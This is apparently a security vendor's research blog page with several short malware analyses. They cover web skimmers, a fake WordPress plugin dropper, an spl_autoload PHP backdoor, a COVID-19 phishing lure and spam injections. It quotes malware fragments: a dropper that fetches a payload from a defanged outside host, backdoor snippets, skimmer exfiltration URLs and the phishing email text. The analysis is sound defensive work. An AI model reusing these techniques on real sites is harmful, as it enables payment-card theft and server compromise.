Sucuri Labs

The home of our Security Engineering Group, including our Threat Research, Technical Security and Automation teams.

Web Skimmer With a Domain Name Generator –...

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

web skimmer domain name generator

The changes here are pretty minor: it uses a “ql” domain prefix instead of “qr” and the Math.sin() function instead of Math.cos(). This new variation also uses the name of the compromised site as the script path on the generated malicious domain.


Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw

All of these domains were registered on March 13th, 2020 within one minute by a user with the email Domains from the original post were registered on March 18th, 2020, indicating that this “ql” variation is a predecessor for the “qr” campaign.

A URL scan indicates that this variant has been in use since mid-March: ql202141.]pw domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to hxxps://mykada[.]com/js/ar/ar7938.php, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like hxxps://mykada[.]com/js/ar/ar2497.php.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Fake M-Shield WordPress Plugin

During a recent malware investigation, we found a fake WordPress plugin called M-Shield. We also found almost an identical plugin under the name kingof, with malicious code hosted in the file: ./wp-content/plugins/kingof/kingof.php

Based on the patterns commonly used for malware droppers, we suspect that this same plugin is circulating with a variety of different names. Since neither the M-Shield nor the kingof plugins exist in the official WordPress repository, the malicious component was most likely injected into the WordPress website after the initial compromise.

The plugin code loops through an array of “random” files to check if they exist and their filesize is lower than 1000 bytes. If the condition isn’t met, the script downloads this malicious wsos.txt file from 24hod[.]sk using the function file_get_contents() and injects into contents into the files from the $amb array.

function shield_01()
    $amb = array('wp-pwd.php', 'wp-shield.php', 'wp-logout.php', 'wp-config-proto.php', 'wp-content/themes/ms.cache.php');
    foreach($amb as $f) {
            if(!file_exists($f)||filesize($f)<1000) {
                $wsd = file_get_contents('hxxp://www[.]24hod[.]sk/colours/layout/wsos.txt');

Once the malicious payload has been delivered, the plugin uses two different methods to execute the malware.

First, the malware leverages a WordPress function called add_action() that attempts to run shield_01() when the init hook is executed. If the function add_action() doesn’t exist, the malicious code calls shield_01() directly.

    add_action( 'init', 'shield_01');

It’s important to note that attackers can leverage plugin vulnerabilities and other malicious code even if a plugin is deactivated in your WordPress environment.

We highly recommend regularly auditing your plugins and themes and removing any unknown or unused components from your website. Our free guides offer more WordPress security hardening tips to help you secure your environment.

Magento JavaScript Skimmer Targets Tarjetas de Crédito

A website owner recently contacted us regarding a payment problem on their Magento website. A suspicious payment card form was loading for customers who were trying to pay for items in their shopping cart:

suspicious payment card form

This payment card form should NOT be displayed when the Tarjeta de Credito DISCOVER radio button is selected from the purchase process. The malicious "feature" was found to be loading due to an injection using the Javascript .click() event on the onestepcheckout-place-order element. This injection allows attackers to display their form and skim payment card details as they are entered.

 injection allowing attackers to display the malicious form  and skim credit card information

To exfiltrate the skimmed payment card data, the injection continues to use Javascript to encode data and send it to the malicious domain cdn-filestore[.]com, which itself is encoded in base64 to evade detection. All of this is accomplished through a Javascript function defined in the injection under the name onestepcheckout_payment():

function defined in malicious injection

After removing the malicious injection, the skimmer form no longer shows up on the checkout page of the Magento website. Instead, it shows the correct text and behavior which informs customers that they will be redirected to the payment processor’s website after submitting their order.

redirect to payment processor

It’s imperative that Magento websites take e-commerce security seriously, as they are responsible for customer data and breaches of transaction data on their online store. Perform regular security scans to detect infections, identify malware, and pinpoint other indicators of compromise.

Spl_autoload Backdoor

With backdoors, one of the main challenges for malware authors is to execute code without using obvious functions (such as eval, asset, create_function, etc.) that trigger alerts for security scanners.

In the following example found by our security analyst Weston Henry, hackers used the combination of the “spl_autoload_extensions/spl_autoload” functions to execute arbitrary PHP code.

This code was injected at the top of one ecommerce website’s legitimate .php file.

World Health Organization spam image

At first glance, the code looks quite suspicious: “error_reporting” and “pack” keywords are built using character concatenation. There is also a long encrypted string in the code.

Backdoor in a Temporary File

The string unpacks to a more obvious backdoor that eval’s arbitrary base64-encoded PHP code passed in the HTTP_KHFTEX request parameter.

World Health Organization spam image

This backdoor is saved on the compromised server using file_put_contents.

At this point, it seems clear that this newly created file can be used by attackers to execute malicious code on the server whenever they want. The only problem is that the filename is not easily predictable: it uses the mt_rand function with 10,000 possible results, and the directory for temporary PHP files that may vary from server to server. Moreover, files in the temporary directory may be deleted any moment, which makes it not very reliable — even in the midterm.

$tmp_fdel = tempnam(sys_get_temp_dir(),mt_rand(0,9999));

Backdoor Execution via spl_autoload

If hackers don’t know the name of the backdoor file they created, then how do they want to use it? The answer lays in the following two lines of code.


The first line registers the name of the created file as a default extension for spl_autoload, and the second line tries to load classes from files with the registered extensions. It may not be clear from the name, but the spl_autoload_extensions function works with fully qualified file paths too.

In this case, PHP tries to load classes from the backdoor file. The file doesn’t actually have any defined classes, but PHP needs to execute its code to figure it out. To avoid the LogicException error, hackers use the exit command at the end of the code.

A temporary backdoor file with a random name is created and automatically executed whenever hackers access the infected legitimate .php file with a set “systems” parameter in the POST request. Immediately after execution, the temporary file is deleted.


In this post, we describe malware that uses the spl_autoload function to hide the execution of arbitrary backdoor code. While it’s a very rare trick, the rest of the code will likely raise a red flag for most serious security scanners. That being said, you shouldn’t depend entirely on the fact that all security scanners will be able to find this malicious code. The best solution to detect this type of behaviour is to set up integrity controls in your environment. With these in place, you’ll notice any file modifications — regardless of the tricks that hackers invent.

Phishing with a COVID-19 Lure

It’s not uncommon to see criminals use disasters or current events to enhance their social engineering tactics, and the recent COVID-19 pandemic is no different. During a recent investigation, we received an email originating from (x-originating-ip: []) with a [redacted]@[redacted] email address and the following message body:


Due to the recent COVID-19 outbreak, IT Helpdesk is currently working on advance Staff portal in order to keep our staff/employee on task & organized schedules.
All Staff/Employee are required to update their Staff Portal.

To access the portal, Click on STAFF PORTAL for update.

Failure to update your Staff portal, you will be deleted from our database.


IT Helpdesk

©2020 Microsoft outlook.

All rights reserved

The malicious user is employing the COVID-19 crisis to provide credibility as to why the impersonated IT Helpdesk would need the victim to update their personal information.

When clicked, the PORTAL link directs victims first to the URL shortener service and then passed them along to the malicious phishing subdomain designmysite[.]pro:

COVID-19 Phishing Lure


The subdomain 8li9c1sr9queececshfj5lulh.designmysite[.]pro was disabled before I could properly load it, however this is not the first phishing scam attempted by this domain. Continuing my research, I found another phishing page on a similar subdomain 6bsy904ldphremdrtt0pixql9.designmysite[.]pro:

As seen in the malicious COVID-19 phishing campaign, this particular phishing form is also disseminated through a bit.lyb> shortened URL. What’s more, there are multiple reports going all the way back to 2018 which show designmysite[.]pro spoofing or compromising existing educator email addresses:

When viewing the source of the phishing forms, it becomes clear that the email address is being used to collect the phished information submitted by victims:

"widget":{},"uniqueId":"Ajj7NKp9ACuwjMj","parentUniqueId":"ffpV5Q4d2ksrav0"},"page-zones__main-widgets__responsivecolumns1-zones__5e654f40427e2-widgets__5e654f405b223":{"ref":"5921879","uniqueHTMLId":"page-zones__main-widgets__responsivecolumns1-zones__5e654f40427e2-widgets__5e654f405b223","name":"5e654f405b223","fixed":false,"libraryItemRef":"0","pageRef":"1910011","temporary":{},"changed":{},"type":"widget.advancedcontactform","data":{"email":"","text":"Send","formTitle":"box","fromEmailLabel":"Your email:","fromEmailPlaceholder":"Type your email","collectEmailAddress":"1","localClass":"widget-advancedcontactform-84336F","uniqueId":"c7Z6hf92oPJCEEC","formFields":[{"title":"Full Name","type":"singleline","options":[],"mandatory":1,"id":"c7acbb10-6177-11ea-96dc-65cdea8475cd","order":1}...

This recent investigation clearly demonstrates why it’s important to keep an eye out for phishing campaigns – as well as misinformation in general. Familiarize yourself with the steps you can take to recognize a phishing campaign and avoid becoming a victim.

Fake License.txt File Loaded Through PHP Include

Our team recently found a malicious injection located within a PHP include. The redirect occurs via the include function, which includes a file inconspicuously named license.txt.

During our investigation, we located the license.txt injected within header.php of the WordPress theme file.

include('license.txt'); ?>
        </header> <!-- #main-header -->
        $main_header = ob_get_clean();

         * Filters the HTML output for the main header.
         * @since ??
         * @param string $main_header
        echo apply_filters( 'et_html_main_header', $main_header );
        <div id="et-main-area">
         * Fires after the header, before the main content is output.
         * @since ??
        do_action( 'et_before_main_content' );

The license.txt file is essentially a redirect to send site visitors to a malicious domain, which uses HTML to generate a redirect to the malicious website https://times2day[.]com, and was registered on February 6th, 2020.

<meta http-equiv="X-UA-Compatible"
   <meta name="viewport" content="width=device-width,
initial scale=1">
<script src=""></script>
   <link rel='stylesheet' href=''>
   <script src="">
   <script src="">
   <link rel="stylesheet" href="">
    title: 'Oh, you must be visiting us!!!! ',
    text: 'Getting access..... ',
    icon: 'success',
    timer: 2000,
    buttons: false,
.then(() => {
    window.location.href = "";


To detect these types of malicious injections, site owners can scan websites for known malware, blacklisting status, website errors, out-of-date software, and malicious code.

Face Mask Spam Links Injected in WordPress Database

During a recent malware removal request, we found a compromised WordPress site being used to redirect to spam websites. The campaign was leveraging an increase in search queries related to face masks.

To make their campaign more difficult to detect and boost SEO rankings, the attackers use a multitude of compromised third-party websites to funnel their traffic. They also use the World Health Organization name and images to add credibility to their campaign.

World Health Organization spam image

Spam links are injected into the widgets section of the wp_options database, resulting in the compromised environment linking to third-party sites trying to rank for face mask search terms.

Face mask spam links

The spam links have been set to conceal themselves from website visitors using <div style="display:none;">, all of which lead to the Shopify website https://lundybright[.]fr/ which was registered on March 2nd.

Compromised websites impacted by this spam campaign can use our hacked website cleanup guide to remove the infection.